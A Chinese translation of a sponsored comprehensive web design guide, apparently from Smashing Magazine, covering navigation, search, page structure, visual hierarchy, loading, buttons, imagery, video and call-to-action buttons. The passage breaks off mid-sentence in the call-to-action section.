网站设计综合指南\n\n**摘要**\n\n**（此博文为赞助博文）** 网站设计往往是个棘手的问题。在设计网站时，设计师和开发者往往需要考虑很多要素，从视觉表现（网页看起来如何）到功能设计（网站用起来如何）。为了细化网站设计任务，我们为读者呈上此文。\n\n本文将着重讲述设计主旨，设计启发，设计方法，为你的网站打造更好的用户体验。我们从大方向着手，例如用户旅程（怎样定义网站“骨架”），细化到单一页面（网页设计需要考虑什么）。同时我们也会提及其他的设计要素，例如移动端支持与测试。\n\n#### 目录\n\n**设计用户旅程 Designing The User Journey**\n\n1.  [信息架构 Information Architecture](#information-architecture)\n2.  [全局导航 Global Navigation](#global-navigation)\n3.  [链接与菜单项 Links and Navigation Options](#links-and-navigation－Options)\n4.  [浏览器的“后退”按钮 “Back” Button in Browser ](#back-button-in-browser)\n5.  [面包屑导航 Breadcrumbs](#breadcrumbs)\n6.  [搜索栏 Search](#search)\n\n**设计独立页面 Designing Individual Pages**\n\n1.  [内容策略 Content Strategy](#content-strategy)\n2.  [页面结构 Page Structure](#page-structure)\n3.  [视觉层级 Visual Hierarchy](#visual-hierarchy)\n4.  [滚动行为 Scrolling Behavior](#scrolling-behavior)\n5.  [内容加载 Content Loading](#content-loading)\n6.  [按钮 Buttons](#buttons)\n7.  [图像 Imagery](#图片来源ry)\n8.  [视频 Video](#video)\n9.  [CTA 按钮 Call-to-Action Buttons](#call-to-action-buttons)\n10.  [网页表单 Web Forms](#web-forms)\n11.  [动画 Animation](#animation)\n\n**移动端支持 Mobile Considerations**\n\n1.  [响应式网页设计 Practice Responsive Web Design](#practice-responsive-web-design)\n2.  [从鼠标点击到手势 Going From Clickable to Tappable](#going-from-clickable-to-tappable)\n\n**无障碍设计 Accessibility**\n\n1.  [弱视用户 Users With Poor Eyesight](#users-with-poor-eyesight)\n2.  [色盲用户 Color Blind Users](#color-blind-users)\n3.  [盲人用户 Blind Users](#blind-users)\n4.  [键盘流用户体验 Keyboard-Friendly Experience](#keyboard-friendly-experience)\n\n**测试 Testing**\n\n1.  [迭代测试 Iterative Testing](#iterative-testing)\n2.  [网页加载时间测试 Test Page-Loading Time](#test-page-loading-time)\n3.  [A/B 测试 A/B Testing](#a-b-testing)\n\n[**开发者交接 Developer Handoff**](#developer-handoff)\n\n[**结语 Conclusion**](#conclusion)\n\n### Designing The User Journey 设计用户旅程\n\n#### Information Architecture 信息架构\n\n“信息架构”（IA）这个术语通常被误用来表示网站的目录结构。但其实这是不正确的，尽管网站菜单是信息架构的一部分，但它也仅仅是一个方面。\n\n信息架构指，将信息以清晰逻辑的方式组织。这种结果遵循一个目标：**帮助用户在复杂信息集合中导航**。好的信息架构提供了与用户预期一致的层级结构。然而优秀的层级结构，直观的导航都不是偶然出现的，而是用户调研和用户测试的结果。\n\n调研用户需求的方法众多。通常来说，信息架构多用于用户调研（如用户访谈，卡片分类法）：调研人员倾听用户期望，观察潜在用户如何将复杂的信息组进行归类。信息架构同样需要可用性测试的结果，来看用户是否可以方便地导航。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/37-A-Comprehensive-Guide-To-Web-Design-800w-opt.jpg)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/37-A-Comprehensive-Guide-To-Web-Design-800w-opt.jpg)\n\n卡片分类法简单实操，志于帮设计人员弄清：如何最优地基于用户输入将内容组织分类。信息架构与卡片分类法相似，都能典型地呈现出清晰的模式。（图片来源： [FosterMilo](http://www.fostermilo.com/articles/card-sorting-with-creative-albuquerque)）\n\n在设计网页界面前，往往要进行例行步骤：设计者基于用户访谈设计网站导航结构，用卡片分类法测试该结构是否符合用户的思维模式，用户体验研究者用“树形测试法”对导航结构进行验证。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/36-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/36-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\n树形测试法能够可靠地验证，用户能否根据现有目录结构进行导航。\n（图片来源: [Nielsen Norman Group](https://www.nngroup.com/articles/tree-testing/)) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/36-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n#### Global Navigation 全局导航\n\n导航是可用性的基石。如果用户在网站中难以定位，无所适从，网站再怎么好也没用。网站导航设计需要遵从下列原则：\n\n*   **简易性** 导航应以这样的方式设计，访问者到达目的地点击次数越少越好。\n*   **清晰性** 用户不需要猜测导航选项的含义，每一个菜单项对于来访者来说不言自明。\n*   **一致性** 对于整个网站的所有页面，导航体系必须统一。\n\n设计导航时需要考虑如下几点：\n\n*   **根据用户需求选择导航模式** 导航设计必须遵循主流用户的需求。目标用户群期望某种特定类型的网站交互，那就以你独到的方式，让用户满足预期吧～例如：如果大部分用户都不知道汉堡包图标是啥意思，就避免使用该图标展示导航。\n*   **将导航选项区分优先次序** 有一种简单的方法来区分导航选项优先级：将用户行为任务按照不同优先级排序（高级，中级，低级），然后在布局中突出显示高优先级的用户行为路径，以及被频繁访问的节点。\n*   **使重要选项可见** 正如 [Jakob Nielsen](https://www.nngroup.com/articles/ten-usability-heuristics/) 所言，识别出某事比回忆起某事容易。为了减小用户记忆负担，将所有重要菜单项设为一直可见。这些最重要的菜单项应该一直可用，而不仅在我们预期用户需要的时候展现。\n*   **传达当前位置信息** “我在哪”是用户进行有效导航时需要回答的最基本问题。许多网站有此常见错误：不显示用户的当前位置，因而如何定位的问题也值得深究。\n\n#### Links and Navigation Options 链接与菜单项\n\n链接、菜单项是导航过程中的要素，直接作用于用户旅程，这些交互元素遵循下列规律：\n\n*   **区别站内链接与外部链接** 用户期望站内链接和外部链接为不同的交互行为。所有内部链接应当在当前标签页打开，这样用户便可以在当前窗口使用“后退”按钮。如果决定在新窗口打开外部链接，应当在自动打开新标签页／新窗口前提醒用户。这可能需要声明（在新窗口打开），将其以文本的形式添加到链接文本中。\n*   **标记已经访问过的页面** 如果访问过的链接没有修改颜色标记，用户很可能无意中重复访问。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/20-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/20-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)\n\n<figcaption>用户通过颜色标记，识别出曾访问过的页面，避免无意重复访问同一页面。\n\n*   **认真核实所有链接** 当用户点击链接却返回 404 错误时，会极其不爽。当访问者浏览内容时，期望所有的链接都指向链接所指，而不是其它不相关页面，更不能容忍 404 页面。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/11-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/11-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)\n\n#### “Back” Button in Browser 浏览器的“后退”按钮\n\n后退按钮是浏览器上第二重要的界面控制（仅次于最最重要的 URL 地址栏），要确认“后退”按钮符合用户预期。当用户跟着链接来到某页面，然后点击“后退”键时，他们期望恰好返回到前一网页的离开的位置。**尤其要避免点击“后退”按钮却回到了原页面顶端的情况**。失去用户原先的焦点会使用户被迫重复浏览已读内容。由于没有恰好“后退”原位，用户会迅速失去耐心。\n\n#### Breadcrumbs 面包屑导航\n\n面包屑导航是系列链接的集合，用于索引网站的当前位置。它是一种次级定位规则，常用于显示用户当前在网站的位置。\n\n虽然该元素不需要过多解释，有几点还是值得注意：\n\n*   **不要使用面包屑作为主导航的替代品** 主导航是引导用户的主导元素，然而面包屑只是支持元素。使用面包屑而非其他元素作为主导航，通常意味着导航设计较差。\n*   **使用箭头作为分隔符，而非斜杠。清晰分离导航层级** 推荐使用大于号（>）或右箭头（→），因为此类符号包含方向信息。不推荐在电商网站中使用左斜杠（／）作为分隔符。如果你非要用的话，请确保商品类别不包含斜杠。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/27-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/27-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\n此面包屑的层级关系简直难以分辨 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/27-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n#### Search 搜索栏\n\n有些用户为了某特定目标访问网站，他们并不想使用导航功能。此时用户只想在搜索栏输入文字，提交搜索查询，返回他们寻找的页面。\n\n设计搜索栏时考虑下列基本规则：\n\n*   **将搜索栏放在用户所期望的地方** 下图是基于 A. Dawn Shaikh 和 Keisi Lenz 的研究，通过对 142 名参与者的问卷调查，画出的用户对于搜索栏的期望位置。这一研究发现，搜索栏的最佳摆放位置是网站的左上角和右上角。这样用户通过\"F-型\"浏览模式可以轻易找到搜索栏。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/34-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/34-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)\n\n*   **富文本网站中突出显示搜索功能**\n    如果搜索功能是你的网站重要功能，显著地显示出来，因为这可以是用户探索的最快路径。\n*   **合理设计输入栏尺寸**\n    输入框太窄是设计者的常犯错误。诚然，用户可以在短文本框中输入长文字，但是一次只能显示部分文字。这固然是不好的设计，因为不能同一时刻显示整个查询条件。实际上，当搜索栏很短时，用户被迫使用短小，模糊的查询条件，因为搜索条件太长看不到。Nielsen Norman Group 推荐使用 [27-字符输入框](https://www.nngroup.com/articles/top-ten-guidelines-for-homepage-usability/) ，适用于 90% 的查询。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/35-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/35-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)\n\n*   **在所有页面放置搜索栏**\n    在所有页面放置搜索栏的好处是，当用户不能定位他们想要查看的内容时，便会尝试搜索功能，无论他们当时在页面哪个地方。\n\n### Designing Individual Pages 设计独立页面\n\n#### Content Strategy 内容策略\n\n内容策略的重点在于页面对象的设计。理解页面目标，根据目标定位绘制页面。\n\n我们提出如下提高页面内容理解的实践技巧：\n\n*   **避免信息过载** 信息过载是非常严重的问题，它阻碍了用户交互和用户决策，这是由于用户感到信息量多到难以消化。减小信息过载有一些简单的方法。最常用的方法便是组块算法 —— 分解内容为更小的内容块，这有助于用户更好地理解整个流程。结账表单便是一个很好的例子。在同一时刻最多显示五到七个输入框，将整个结账流程分解在不同页面，渐进地按需展示字段。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/43-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/43-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\n(图片来源: [Witteia](https://twitter.com/witteia)) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/43-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n*   **避免生僻词和专业术语** 页面上任意一个生僻难懂的术语都会激增用户的认知负载。最安全的策略是将受众定位所有阶段用户，选择清晰易懂的词语以适应不同类组的用户。\n*   **长段落细分** 对于信息过载这一点，除非网站定位主打内容消费，否则在设计时要尽量避免长段文字。举例说明，如果你想写个服务介绍或产品介绍，尽量一步一步来，慢慢展开细节。使用短小、视野内可见的模块以让用户逐步探索。根据 [Robert Gunning](https://www.amazon.com/How-Take-Fog-Business-Writing/dp/0850132320) 的《看透商业评论编写》，一句话字数最好在 20 个字以内。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/29-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/29-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)\n\n(图片来源： [The Daily Rind](http://www.dailyrindblog.com/wp-content/uploads/2013/04/Presentations_UsePlainEnglish.png))\n\n*   **避免所有字母大写** 英文内容中，全字母大写的模式，仅适用于短小文字如缩略语或 Logo。避免对长单词使用全大写模式：段落、表格标注、错误提示、通知信息等。正如 [Miles Tinker](http://en.wikipedia.org/wiki/Miles_Tinker) 的 《字体的可读性》所说，全字母大写会使阅读速度骤减，且多数读者会感到全字母大写的可读性较低。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/24-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/24-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)\n\n英文全大写使读者感到阅读困难。\n\n#### Page Structure 页面结构\n\n一个结构恰当的页面会使用户界面布局上的元素清晰。尽管我们没有适用于所有场景的统一的尺寸标准，遵循下列几个指导方针有助于设计一个靠谱的页面结构：\n\n*   **使结构具有可预见性** 设计要与用户预期保持一致，在设计时考虑相似类型的网站，看看它们都使用了什么元素，摆放在哪里。尽量使用目标受众熟悉的视觉模式。\n*   **使用网格布局** 网格布局将页面分割成几个主要区块，根据元素大小、位置定义元素之间的关系。使用网格布局，可以轻松的将众多元素组合成高内聚型的布局。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/15-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/15-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)\n\n网格和布局系统是设计届的传统，Adobe XD 的网格布局帮助设计稿适用于多种屏幕尺寸的设备并保持一致性，定制化网格系统以调整元素间比例。\n\n*   **使用低保真的线框稿图避免杂乱** 乱七八糟的杂项使界面超负荷难以理清。每个新增的按钮，图片，甚至文字都会增加页面的复杂度。在使用真实元素构造页面前，先画简单的线框原型并分析，删除所有非必须元素。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/06-A-Comprehensive-Guide-to-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/06-A-Comprehensive-Guide-to-Web-Design-large-opt.png)\n\n使用 [Adobe XD](http://www.adobe.com/products/xd.html) 绘制的低保真原型图 (图片来源： [Tim Hykes](http://timhykes.com/lcblog.php)) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/06-A-Comprehensive-Guide-to-Web-Design-large-opt.png))\n\n#### Visual Hierarchy 视觉层级\n\n人们通常更喜欢快速浏览页面，而不是细细品味每一个细节。因此，当来访者想找某个内容或者完成某个任务时，往往会扫视页面寻找目标。此时，设计师对视觉层级关系的良好呈现就帮用户了一个大忙。视觉层级特指：元素的展示方式能够表现其重要程度。简单来说就是，用户第一眼该看哪儿，第二眼该看哪。一个好的视觉层级使页面浏览更加便捷。\n\n*   **遵循本能的浏览布局** 作为设计师，我们可以在很多方面操控用户浏览页面的焦点。为访客的眼动设定正确的浏览路径，我们可以遵循两类本能的浏览布局：[“F-形”布局](https://uxplanet.org/f-shaped-pattern-for-reading-content-80af79cd3394) 和 [“Z-形”布局](https://uxplanet.org/z-shaped-pattern-for-reading-web-content-ce1135f92f1c). 对于富文本页面，如文章、搜索结果，“F-形”布局效果更好；“Z-形”布局更适用于非文本式页面。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/09-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/09-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\nCNN 使用的“F-形”布局 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/09-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/40-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/40-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\nBasecamp 使用的“Z-形”布局 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/40-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n*   **重要元素视觉优先** 使页面标题、登录表单、导航栏、这类重要内容成为焦点，供用户更好地使用。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/01-A-Comprehensive-Guide-to-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/01-A-Comprehensive-Guide-to-Web-Design-large-opt.png)\n\n图中 Learn More About Brains 按钮（了解更多关于大脑产品）突出吸引用户行为，突出显示。([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/01-A-Comprehensive-Guide-to-Web-Design-large-opt.png))\n\n*   **画原型使视觉层级更清晰** 原型设计（Mockup）帮助设计师通览整个布局，看到页面填充真实数据之后可能的样子。而且，在原型中重组元素比开发过程中再重新排列要简单得多。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/28-A-Comprehensive-Guide-To-Web-Design-800w-opt.jpg)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/28-A-Comprehensive-Guide-To-Web-Design-large-opt.jpg)\n\n使用 Adobe XD 设计原型。 (图片来源： [Coursetro](https://coursetro.com/posts/design/28/Website-Design-in-Adobe-XD-Tutorial)) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/28-A-Comprehensive-Guide-To-Web-Design-large-opt.jpg))\n\n#### Scrolling Behavior 滚动行为\n\n很多网页设计者有个固执的错误观念：用户不会使用滚动条。我再重申一次：如今，[人人都会用滚动条](http://www.hugeinc.com/ideas/perspective/everybody-scrolls)!\n\n提高网页滚动体验可以通过以下几点：\n\n*   **鼓励用户的滚动行为** 尽管用户实际在页面加载时就开始[滚动滑轮](http://www.lukew.com/ff/entry.asp?1946)，页面顶端的内容同样非常重要。顶端的内容限定了用户对网站的印象和期望。用户的确会向下拉滚动条，但仅仅会发生在非隐藏内容足够吸引人。因而，记得将最引人注目的内容放在页面顶端：\n    *   **展示好的[网站介绍](https://www.nngroup.com/articles/blah-blah-text-keep-cut-or-kill/).** 优秀的网站简介创造了良好的内容场景，回答用户最初的疑问“这是干什么的网站？”\n    *   **使用[吸引人的影像](https://www.smashingmagazine.com/2017/01/more-than-just-pretty-how-图片来源ry-drives-user-experience/)** 用户会对相关的图片影像特别感兴趣。\n*   **固定导航栏** 当你需要建一个长页面时，记住：用户需要有定位感（当前位置）和方向感（访问其他路径）。长页面会使用户有定位困难。当页面很深时，如果下滑时顶部导航消失，用户必须持续向上滑动返回顶端。 显然， [粘性导航栏](https://www.smashingmagazine.com/2012/09/sticky-menus-are-quicker-to-navigate/) 既可以显示当前位置，又可以使屏幕长时间保持一致性。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/14-A-Comprehensive-Guide-To-Web-Design.gif)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/14-A-Comprehensive-Guide-To-Web-Design.gif)\n\n滚动触发的粘性导航栏 (图片: Zenman)\n\n*   **加载新内容时提供视觉反馈** 当网页是动态加载时，视觉反馈异常重要（比如新闻流）。由于滚动时内容需要很快加载（不能超过 10 秒 ），你可以使用[加载中](https://www.smashingmagazine.com/2016/12/best-practices-for-animated-progress-indicators/#types-of-progress-indicators)动画表示系统正在处理。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/04-A-Comprehensive-Guide-to-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/04-A-Comprehensive-Guide-to-Web-Design-800w-opt.png)\n\n细节动画（例：Tumblr的加载提示）告诉用户更多内容正在加载。\n\n*   **不要绑架用户的滚动行为** 对滚动行为进行绑架最烦人了，由于这种行为从用户手里抢夺了控制权，使其对滚动行为无法预知。设计网站时，请让用户能够主动控制浏览和滚动行为。\n\n[![Tumbler’s signup page uses scroll hijacking.](https://www.smashingmagazine.com/wp-content/uploads/2017/11/tumblr-blogs-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/tumblr-blogs-large-opt.png)\n\nTumbler 的注册页对用户的滚动条进行绑架 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/tumblr-blogs-large-opt.png))\n\n#### Content Loading 内容加载\n\n内容加载得多说几句才讲得清楚些。尽管立即响应是最好的，但在某些场景下你的网站需要多点时间来为访客传递内容。网络链接差会减慢反应速度，或者有些操作需要多点时间来完成。但是不论这些行为是由什么原因造成的，网站必须看起来是快速响应的。\n\n*   **确保常态加载不需要过多时间** 网站访客的注意力范围和耐心都较低。根据 [Nielsen Norman Group 的研究](https://www.nngroup.com/articles/powers-of-10-time-scales-in-ux/)，10 秒大概是用户在同一任务上集中注意力的极限了。当访客不得不等待网站加载时，他们会非常沮丧，如果响应速度不够快用户很可能马上关窗口走人。\n\n*   **加载时显示网页骨架** 许多网站使用进度条显示数据加载进度。进度条背后的动机很好（提供视觉反馈），但有时适得其反。正如 [Luke Wroblewski 提到的](http://www.lukew.com/ff/entry.asp?1797)，“进度条从定义上就提示用户一个事实：给我等着。就好像看着钟表滴答倒数 —— 当你等待时会感到时间过得更慢。进度条有一个很棒的替代元素：页面框架。这些容器在本质上可看作是网站空白页面的临时版本，信息可以逐渐加载进容器。使用页面框架替代进度条，设计师能聚焦用户的注意力于实际的页面加载，为之后将要加载的页面搭建用户的心理预期。而且这种方式给用户创造了一种事件发生的很快的幻觉。因为信息是逐步加载显示的，用户在等待过程中能切身感到，网站正在一步步处理页面并显示。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/10-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/10-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\nFacebook 使用网站骨架，填充页面时内容逐步加载。([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/10-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n#### Buttons 按钮\n\n按钮在创建流畅的交互体验中至关重要。基本实践中值得注意以下几点：\n\n*   **确保可点击的元素看起来可以点击** 使用按钮和其他交互元素时，需要考虑设计如何传递可用性信息。用户如何将设计元素理解为按钮？表单应当遵循如下功能：对象的表现形式反映了其使用方式。视觉元素看起来像链接或者按钮，但实际上不能点击（例如：下划线文字不是链接、方形按钮形状但是不能点击）诸如此类情况会困扰到用户。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/08-A-Comprehensive-Guide-to-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/08-A-Comprehensive-Guide-to-Web-Design-large-opt.png)\n\n左上角的橙色框是按钮吗？ 不是，但其形状和标签让它看起来像一个按钮。 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/08-A-Comprehensive-Guide-to-Web-Design-large-opt.png))\n\n*   **基于实际用途命名按钮** 可交互的界面元素命名应该和它的实际用途一致，以符合用户的期望。当用户知道这个按钮的作用时，会用起来更舒适。含糊的标签例如“提交”，或者抽象的标签例如下图中的例子，都无法给用户提供交互的有效信息。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/12-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/12-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)\n\n别让用户对界面元素产生疑惑 (图片来源： [UX Matters](http://www.uxmatters.com/mt/archives/2012/05/7-basic-best-practices-for-buttons.php))\n\n*   **设计按钮时保持一致性** 不论是否是下意识地，用户都会记住网站的细节。当浏览网站时，他们会将特定形状和功能联系到一起。因此，一致性不仅有利于设计美观，且增强了用户的熟悉感。下图完美例证了这一点。在应用的同一模块（例如系统工具栏）使用三种不同的形状不仅很迷惑用户，而且看起来很不专业。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/31-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/31-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)\n\n保持一致\n\n#### Imagery 图像化\n\n俗话说得好，一张图片胜过千言万语。人类都是视觉动物，几乎能够瞬间处理视觉信息；我们所感知的  [90% 的信息](http://www.webmarketinggroup.co.uk/blog/why-every-seo-strategy-needs-infographics/) 都是通过视觉传达给大脑。图像是捕捉用户注意力以区分产品的最有力方式。相比于一段精心设计的文本，一张图片能够传递给读者更多信息。而且，图像能跨语言障碍，表达文字所不能表述的内容。\n\n下列原则可以帮助你在网站设计中融入图像元素：\n\n*   **确保图像相关性** 设计中最怕传递错误信息的图像。选择最符合你产品目标的图像，确保它与上下文相关。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/space-image25-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/space-图片来源25-large-opt.png)\n\n与主题无关的图像引起用户的困惑 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/space-图片来源25-large-opt.png))\n\n*   **避免使用通用的人像** 在设计中使用人脸是吸引用户的有效方式。看到人脸能让用户感觉与他们联系在一起，而不仅仅是在销售产品。然而，许多企业网站使用通用的照片来建立信任感是非常糟糕的。[可用性测试](https://articles.uie.com/deciding_when_graphics_help/)表明这样的照片很难增加设计的价值，反倒会使用户体验变差。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/46-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/46-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\n不真实的图像给用户带来一种虚伪的感觉。 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/46-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n*   **使用高质量不失焦的图片资源** 网站使用资源质量很大程度上影响着用户印象和对服务的期望。确保图像大小在各平台合比例显示。图像不能出现像素化，因而要测试各种比例、各种分辨率的设备。以原始的长宽比例显示图像。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/45-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/45-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\n低质量的照片 VS 高质量不失焦的图片 (图片来源： [Adobe](https://blogs.adobe.com/creativecloud/more-than-just-pretty-how-图片来源ry-drives-ux/)) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/45-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n#### Video 视频\n\n随着网速的提快，视频越来越流行，尤其考虑到视频[延长了用户停留时长](https://www.forbes.com/sites/forbesagencycouncil/2017/02/03/video-marketing-the-future-of-content-marketing/). 如今视频无处不在：PC 端，平板端，移动端。将视频有效利用起来，它能最有效的吸引用户 —— 视频传递更多情感，更用心的带给用户产品服务体验。\n\n*   **将视频设置为默认静音，用户可以选择性开启音量** 当用户访问一个页面时，并没有对声音的预期。而且大多数用户并不会使用耳机，这时他们会紧张的想要快点关闭声音。甚至在大多数情况下，一听到声音立即关闭网站。\n\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/22-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/22-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\nFacebook 的视频会在用户访问时自动播放，除非用户主动打开声音，否则会默认静音。([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/22-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n*   **广告视频越短越好** 根据 [D-Mak Productions](http://dmakproductions.com/blog/what-is-the-ideal-length-for-web-video-production/) 的研究，短视频对大多数用户更有吸引力。因此，最好将商业视频保持在两到三分钟的范围内。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/26-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/26-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)\n\n(图片来源： [Dmakproductions](https://dmakproductions.com/blog/what-is-the-ideal-length-for-web-video-production/))\n\n*   **提供内容的其它展示方式** 如果视频是内容的唯一消费方式，这会限制到那些看不懂，听不懂的用户。建议提供字幕、完整的视频文字版作为辅助选项。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/38-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/38-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\n字幕使用户更易获取视频内容。 (图片来源： [TED](https://www.ted.com)) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/38-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n#### Call-to-Action Buttons CTA 按钮\n\n召唤行动 Calls to action (CTA) 指的是引导用户实现转化率的按钮。CTA 重点在于引导用户执行我们期望的行为。 常见的CTA的例如：\n\n*   开始试用\n*   立即下载查看\n*   立即注册获取最新资讯\n*   开始咨询\n\n设计 CTA 按钮时需要考虑以下几点：\n\n*   **尺寸** CTA 按钮应该足够大，稍远距离也能看见；但又不能太大，会影响到用户对其它内容的关注。想要确认 CTA 按钮是该页面上最显著的元素，试一下五秒钟测试法：浏览网页五秒钟，然后记录下你还记得的内容。 如果 CTA 被你记下来了，那它的大小合适~\n*   **视觉优先** CTA 按钮的颜色很大程度上影响着用户的注意力。通过颜色增加视觉冲击力，可以让某些按钮比其他按钮更突出。对比色非常适合用于 CTA，使其特别醒目。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/42-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/42-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\n火狐页面上绿色的 CTA 